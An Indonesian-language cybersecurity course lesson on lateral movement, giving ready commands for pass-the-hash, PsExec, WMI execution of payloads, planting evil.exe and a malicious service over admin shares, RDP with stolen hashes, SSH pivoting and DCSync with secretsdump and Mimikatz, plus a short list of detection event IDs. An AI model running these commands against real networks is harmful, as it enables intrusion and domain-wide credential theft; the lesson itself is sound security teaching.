Teknik Pergerakan Lateral
Berpindah melalui jaringan menggunakan WMI, PsExec, WinRM, dan berbagi SMB tanpa memicu peringatan.
Teknik Pergerakan Lateral adalah pelajaran Cyber Security Academy gratis di CoddyKit. Ini adalah pelajaran 3 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar Cyber Security Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus Cyber Security Academy mencakup 4 pelajaran total.
Apa Itu Pergerakan Lateral?
Pergerakan lateral adalah serangkaian teknik yang digunakan penyerang untuk bergerak secara bertahap dalam jaringan setelah kompromi awal — berpindah dari pijakan pertama menuju target bernilai lebih tinggi seperti pengendali domain, basis data, dan sistem pencadangan.
Melewatkan Nilai Hash (PtH)
Autentikasi Windows NTLM memungkinkan penggunaan hash kata sandi secara langsung, bukan kata sandi teks biasa. Penyerang yang telah memperoleh hash NTLM dapat mengautentikasi diri ke sistem lain tanpa memecahkan hash tersebut.
# Impacket psexec with PtH:
impacket-psexec -hashes :NTLM_HASH_HERE administrator@10.0.0.5
# CrackMapExec:
crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASHMelewatkan Tiket (PtT)
Tiket Kerberos (TGT atau TGS) dapat diekstrak dari memori dan diimpor untuk mengautentikasi diri sebagai pemilik tiket. Serangan Golden Ticket memalsukan TGT menggunakan hash KRBTGT, sehingga memberikan akses Kerberos tanpa batas ke domain.
Eksekusi Kode Jarak Jauh: PSExec
psexec (Sysinternals dan Impacket) mengeksekusi perintah pada host Windows jarak jauh melalui berbagi SMB atau berbagi admin. Memerlukan kredensial administrator. Membuat biner layanan pada target.
impacket-psexec administrator:Password@10.0.0.5
# Or via Metasploit:
use exploit/windows/smb/psexecPergerakan Lateral melalui WMI
Windows Management Instrumentation memungkinkan eksekusi kode jarak jauh tanpa membuat berkas yang dapat dideteksi oleh banyak alat:
# Using wmiexec (Impacket):
impacket-wmiexec administrator:Password@10.0.0.5
# Or via PowerShell:
$wmi = [wmiclass]"\\10.0.0.5\root\cimv2:Win32_Process"
$wmi.Create("cmd.exe /c payload.exe")SMB dan Berbagi Admin
Berbagi admin Windows (C$, ADMIN$, IPC$) memungkinkan pergerakan lateral dengan kredensial administrator:
# Mount admin share:
net use \\10.0.0.5\C$ /user:DOMAIN\administrator Password
# Copy and execute:
copy evil.exe \\10.0.0.5\C$\Windows\Temp\
impacket-smbexec administrator:Password@10.0.0.5Layanan Jarak Jauh: sc dan at
Buat layanan atau tugas terjadwal pada sistem jarak jauh:
# Create remote service:
sc \\10.0.0.5 create EvilSvc binPath= "C:\Temp\payload.exe"
sc \\10.0.0.5 start EvilSvc
# Scheduled task:
impacket-atexec administrator:Password@10.0.0.5 "whoami > C:\Temp\out.txt"RDP dan Sesi Interaktif
RDP (Protokol Desktop Jarak Jauh, port 3389) menyediakan akses interaktif penuh. Penyerang menggunakan RDP dengan kredensial curian. Pertahanan: batasi RDP ke server lompatan, wajibkan NLA, dan catat semua sesi.
# RDP with stolen creds:
xfreerdp /u:administrator /p:Password /v:10.0.0.5
# Bypass NLA with NTLM hash:
xfreerdp /u:administrator /pth:NTLM_HASH /v:10.0.0.5SSH sebagai Pergerakan Lateral
Di lingkungan Linux, SSH dengan kunci atau kredensial curian digunakan untuk bergerak secara lateral. Penyalahgunaan penerusan agen memungkinkan pivot melalui host yang disusupi. Terowongan SSH meneruskan port untuk menjangkau sistem yang sebelumnya tidak dapat diakses.
# SSH pivoting:
ssh -L 5432:internal-db:5432 user@pivot_host
# SSH dynamic SOCKS proxy:
ssh -D 1080 user@pivot_hostReplikasi Active Directory (DCSync)
DCSync menyalahgunakan replikasi AD untuk menarik hash kata sandi langsung dari DC tanpa menjalankan kode di dalamnya — memerlukan hak istimewa DS-Replication-Get-Changes-All:
# Impacket secretsdump:
impacket-secretsdump domain/user:password@dc_ip
# Mimikatz:
lsadump::dcsync /domain:corp.local /user:krbtgtMendeteksi Pergerakan Lateral
Indikator deteksi:
- Peristiwa 4624 (log masuk) dengan log masuk Tipe 3 (jaringan) yang tidak biasa
- Pembuatan layanan pada host jarak jauh (Peristiwa 7045)
- Koneksi SMB antarkomputer kerja
- Pembuatan proses WMI pada host jarak jauh
- Perilaku akun yang tidak normal (pengguna masuk dari beberapa komputer)
Pemeriksaan Cepat: Pergerakan Lateral
Teknik apa yang memungkinkan penyerang mengautentikasi diri ke sistem Windows menggunakan hash NTLM yang diperoleh tanpa memecahkannya?
Ringkasan Pelajaran
Pergerakan lateral menggunakan kredensial dan protokol yang telah disusupi untuk menyebar melalui jaringan. Teknik utama: Melewatkan Nilai Hash (penggunaan ulang hash NTLM), Melewatkan Tiket (Kerberos), PSExec/WMI/SMB untuk eksekusi jarak jauh, dan DCSync untuk memanen kredensial domain. Deteksi: log masuk jaringan yang tidak biasa (Peristiwa 4624), pembuatan layanan jarak jauh (Peristiwa 7045), serta lalu lintas SMB antarkomputer kerja.
Pertanyaan yang Sering Diajukan
Apakah pelajaran “Teknik Pergerakan Lateral” gratis?
Ya — teks lengkap “Teknik Pergerakan Lateral” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus Cyber Security Academy, upgrade ke CoddyKit PRO. Kursus Cyber Security Academy mencakup 4 pelajaran total.
Apa yang akan aku pelajari di “Teknik Pergerakan Lateral”?
Berpindah melalui jaringan menggunakan WMI, PsExec, WinRM, dan berbagi SMB tanpa memicu peringatan. Kamu berlatih Cyber Security Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.
Apakah aku perlu pengalaman untuk memulai Cyber Security Academy?
Tidak diperlukan pengalaman sebelumnya. Cyber Security Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 3 dari 4.
Berapa lama pelajaran “Teknik Pergerakan Lateral” memakan waktu?
Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.
Bisakah aku menulis dan menjalankan kode dalam pelajaran Cyber Security Academy ini?
Ya. Setiap pelajaran Cyber Security Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.
Semua pelajaran dalam kursus ini
- Kerangka Kerja C2: Cobalt Strike dan Sliver
- Biner Living-Off-the-Land (LOLBins)
- Teknik Pergerakan Lateral
- Penulisan Laporan Red Team